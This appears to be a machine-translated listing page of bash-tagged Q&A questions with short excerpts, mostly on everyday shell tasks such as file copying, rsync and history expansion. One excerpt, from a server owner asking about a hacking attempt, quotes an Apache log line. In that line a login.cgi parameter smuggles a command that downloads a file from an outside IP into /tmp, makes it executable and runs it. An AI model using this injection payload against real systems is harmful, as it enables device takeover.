Вопросы с тегом «bash»

32
Копируйте файлы в Linux, избегайте копирования, если файлы существуют в месте назначения

Этот вопрос был перенесен из переполнения стека, поскольку на него могут ответить суперпользователи. Мигрировал 9 лет назад . Мне нужно скопировать папку / home / user с одного жесткого диска на другой. Он имеет 100 000 файлов и размером около 10G. я использую cp -r /origin /destination иногда я...

32
Как добавить команду в историю Bash, не выполняя ее?

Время от времени было бы полезно добавить команду непосредственно в историю в Bash, фактически не выполняя ее. Пока что закрытая вещь, которую я нашел, это добавление #перед ним и нажатие клавиши return. Есть ли лучшие...

32
Как распечатать файлы, которые были бы изменены с помощью rsync?

Есть ли способ заставить rsync напечатать полные пути к файлам для всех файлов, которые отличаются друг от друга, без фактической передачи каких-либо файлов? В качестве альтернативы мне нужен способ разбить файлы по двум деревьям (по SSH), основываясь только на изменении размера или времени...

32
Комментарии в многострочной команде bash

Этот файл командного сценария BASH сложен для понимания, поэтому я хочу написать комментарий для каждого из действий: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed - просто пример, на самом деле это смесь greps, trs и awks) Я бы не хотел дублировать строки или...

31
Есть ли способ сделать Bash более дружественным к TAB?

Я использую bash как на своем Mac, так и в качестве оболочки Cygwin. В целом, я вполне доволен этим. Моя единственная жалоба, однако, заключается в том, что его завершение TAB не так хорошо, как завершение командной строки Windows. Например, если есть два файла с одинаковым префиксом, bash просто...

31
Что делает этот скрипт bash? [Попытка взлома]

В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал...

31
bash: как передать аргументы командной строки, содержащие специальные символы

Я написал себе программу для Linux, programкоторая нуждается в регулярном выражении в качестве входных данных. Я хочу вызвать программу в bashоболочке и передать это регулярное выражение в качестве аргумента командной строки программе (есть и другие аргументы командной строки). Типичное регулярное...

31
Как я могу получить конкретный аргумент из предыдущей команды в Bash?

В bash вы можете использовать !*все аргументы предыдущей команды. Например, если вы сделали, cp /some/path /some/other/pathа затем сделали mv !*, вторая команда будет расширена до mv /some/path /some/other/path. Есть ли что-то подобное, что можно использовать для доступа к определенному аргументу...

30
Сколько ядер я использую на сервере Linux?

Мне просто интересно, как я могу узнать в bash, сколько процессорных ядер пользователь сейчас использует на Linux Server? Я отправляю достаточное количество фоновых заданий на сервер, поэтому я хотел бы написать сценарий bash, чтобы проверить перед отправкой задания, не слишком ли много запущенных...

30
Как командная строка Mac сравнивается с Linux?

Я люблю Ubuntu Linux - особенно командную строку. Но я должен признать, что, по крайней мере, на данный момент, Windows более удобна для пользователя - для этого есть больше программного обеспечения, больше драйверов, и больше всего работает. Знание того, что Mac построен на Unix, заставляет...

30
Bash / ZSH: отмена «отречься»

Есть ли способ «присоединить» процесс к таблице заданий оболочки после того, как он «отрекся»? Редактировать: $ SEARCHENGINE полностью меня подводит. Не выглядит слишком...

30
Извлечь / сохранить почтовое вложение, используя bash

Использование обычных bashинструментов (т. Е. Встроенных или общедоступных инструментов командной строки) возможно, и как извлечь / сохранить вложения в письмах? Например, скажем, у меня есть ночной отчет, который приходит по электронной почте, но представляет собой zip-архив нескольких файлов...

30
Что эквивалентно bash's! $ И !! в раковине рыбы?

Я использую bash около десяти лет и уже привык набирать! $, Чтобы повторить последний аргумент, например: $ mkdir foo $ cd !$ cd foo (Эта последняя строка печатается оболочкой, чтобы сообщить вам, что ваша команда оценила). Аналогично я часто к следующему: $ make_sandwich -bash: make_sandwich:...

30
Что команда 'точка пространства имени файла' делает в bash?

При использовании оболочки bash я иногда сохраняю переменные окружения в текстовом файле, содержимое которого копирую / вставляю, например, export.txt: export FOO=bar export FIZZ=buzz Кто-то показал мне вместо копирования / вставки, я мог набрать в терминале . exports.txt который будет иметь тот же...